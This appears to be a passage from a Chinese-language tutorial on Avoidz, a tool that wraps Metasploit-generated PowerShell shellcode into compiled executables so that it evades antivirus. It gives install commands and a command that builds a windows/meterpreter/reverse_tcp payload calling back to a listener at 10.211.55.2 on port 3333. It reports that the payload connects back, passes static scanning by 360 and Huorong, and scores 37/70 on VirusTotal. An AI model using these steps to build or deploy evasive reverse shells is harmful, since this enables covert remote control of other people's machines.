参考资料
官方使用教程:https://www.youtube.com/watch?v=ZilOByKkrVk
官方使用教程:https://github.com/Green-m/green-hat-suite/wiki/Use-green-hat-suite
Msf&zirikatu免杀结合利用:http://www.secist.com/archives/3113.html
avoidz
介绍
Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。
安装
git clone https://github.com/M4sc3r4n0/avoidz
apt install mingw-w64 #apt安装源中已经删除了mingw32,所以只能安装mingw-w64,之后在做32位的软链接
ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc #做个软链接,方便软件识别的到
chmod +x setup.sh
./setup.sh
使用avoidz编译C#生成exe(VT免杀率37/70)
提供3种C代码编译成exe的方式,想了解详情的可以cat avoidz.rb
查看具体区别
我以第一种为例进行测试
./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1
默认文件生成到root目录下
可以正常上线
360和火绒都能过静态,但是动态会报执行powershell,所以powershell这块的命令执行真的有点难搞
上vt: